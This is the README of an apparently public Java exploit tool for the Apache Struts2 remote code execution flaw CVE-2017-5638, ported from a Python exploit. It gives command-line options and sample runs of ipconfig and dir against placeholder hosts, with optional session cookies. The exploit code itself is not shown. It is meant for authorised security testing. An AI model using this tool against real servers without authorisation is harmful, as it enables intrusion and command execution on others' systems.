
Exploit basado en Java para Apache Struts2 CVE-2017-5638, que ejecuta comandos arbitrarios mediante cabeceras HTTP manipuladas. Diseñado para evaluaciones de seguridad autorizadas.
Esto es una especie de porting a Java del exploit en Python disponible en: https://www.exploit-db.com/exploits/41570/.
Este software está escrito para no tener dependencias externas.
Esta herramienta está pensada para ingenieros de seguridad y personal de appsec para evaluaciones de seguridad. Utilice esta herramienta de forma responsable. No me hago responsable de la forma en que cualquiera utilice esta aplicación. NO soy responsable de ningún daño causado ni de ningún delito cometido mediante el uso de esta herramienta.
Usage:
java -jar struts2_cve-2017-5638.jar [options]
Description:
Exploiting Apache Struts2 Remote Code Execution (CVE-2017-5638).
Options:
-h, --help
Prints this help and exits.
-u, --url [target_URL]
The target URL where the exploit will be performed.
-cmd, --command [command_to_execute]
The command that will be executed on the remote machine.
--cookies [cookies]
Optional. Cookies passed into the request, i.e. authentication cookies.
-v, --verbose
Optional. Increase verbosity.
java -jar struts2_cve-2017-5638.jar --url "https://vuln1.foo.com/asd" --command ipconfig
java -jar struts2_cve-2017-5638.jar --url "https://vuln2.foo.com/asd" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
java -jar struts2_cve-2017-5638.jar --url "https://vuln3.foo.com/asd" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
Este proyecto está licenciado bajo la Licencia MIT; consulte el archivo LICENSE.txt para más detalles.